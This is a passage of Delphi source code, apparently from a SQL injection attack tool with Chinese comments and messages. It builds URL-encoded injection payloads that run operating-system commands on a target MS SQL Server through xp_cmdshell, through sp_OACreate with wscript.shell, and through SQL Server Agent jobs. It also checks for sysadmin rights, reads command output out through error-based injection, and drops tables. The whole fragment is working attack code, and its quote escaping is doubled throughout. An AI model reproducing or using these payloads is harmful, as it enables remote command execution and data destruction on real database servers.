if Get(CommandStr) then begin CountStr :=GetWBMsg(Url+''''%20And%20(Select%20char(124)%2BCast(Count(1)%20as%20varchar(8000))''''+ ''''%2Bchar(124)%20From%20[Command_Tmp]%20Where%201=1)>0;--''''); try iCount :=strtoint(CountStr); except Memo2.Lines.add(''''出现意外数据,操作终止!''''); exit; end; for i:=1 to iCount do begin ResultStr :=''''''''; ResultStr :=GetWBMsg(Url+''''%20And%20(Select%20Top%201%20CASE%20WHEN%20ResultTxt%20is%20Null''''+ ''''%20then%20char(32)%20else%20char(124)%2BResultTxt%2Bchar(124)''''+ ''''%20End%20From%20[Command_Tmp]%20Where%20ID=''''+IntToStr(i)+'''')=0;--''''); if isCancel then Break; if (ResultStr<>'''''''') and (ResultStr<>''''未知'''') then Memo2.Lines.Add(ResultStr); end; end; if Get(Url+'''';DROP%20TABLE%20[Command_Tmp]--'''') then begin Memo2.Lines.Add(''''命令执行完成''''); end; end else begin CommandStr:=Url+'''';EXEC%20MASTER..XP_CMDSHELL%20''''''''''''+CommandStr+''''''''''''--''''; if get(CommandStr) then Memo2.Lines.Add(''''命令执行完成。''''); end; end; //OAcreate //使用sp_OACreate来运行系统命令 if rbOA.Checked then begin //指明当前用户是否为 sysadmin 固定服务器角色的成员 if get(Url+''''%20And%20Cast(IS_SRVROLEMEMBER(''''''''sysadmin'''''''')%20as%20varchar(1))=1'''') then begin CommandStr :=Url+'''';use%20''''+DbName+'''';declare%20@o%20int;exec%20''''+ ''''sp_oacreate%20''''''''wscript.shell'''''''',@o%20out;exec%20''''+ ''''sp_oamethod%20@o,''''''''run'''''''',NULL,''''''''cmd%20/c%20''''+ CommandStr+''''''''''''--''''; if Get(CommandStr) then Memo2.Lines.Add(''''命令执行完成。''''); end else begin Memo2.Lines.Add(''''只有 sysadmin 固定服务器角色的成员才能执行 sp_OACreate。''''); exit; end; end; //Job //使用SQLSERVERAGENT的JOB来运行系统命令 if rbJob.Checked then begin //启动SQLSERVERAGENT if Get(Url+'''';exec%20master..xp_servicecontrol%20''''''''start'''''''',''''''''SQLSERVERAGENT'''''''';--'''') then begin Memo2.Lines.Add(''''SQLSERVERAGENT 启动成功!''''); CommandStr :=Url+'''';use%20''''+DbName+'''';exec%20sp_delete_job%20null,''''''''x''''''''''''+ &